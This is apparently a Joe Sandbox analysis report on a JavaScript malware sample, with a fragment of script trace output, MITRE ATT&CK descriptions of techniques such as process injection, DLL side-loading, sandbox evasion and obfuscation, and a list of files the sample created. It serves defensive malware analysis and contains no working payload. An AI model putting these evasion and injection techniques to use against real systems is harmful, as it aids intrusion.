1528	ivkkuqfm = "b";
1529	ivkkuqfm = "K";
1530	ivkkuqfm = "x";
1531	gctldc ( );	gctldc() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 280109871157958128.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0803ff7c-8ebe-4695-944f-54c1bd74ccf5.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7536

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
280109871157958128.js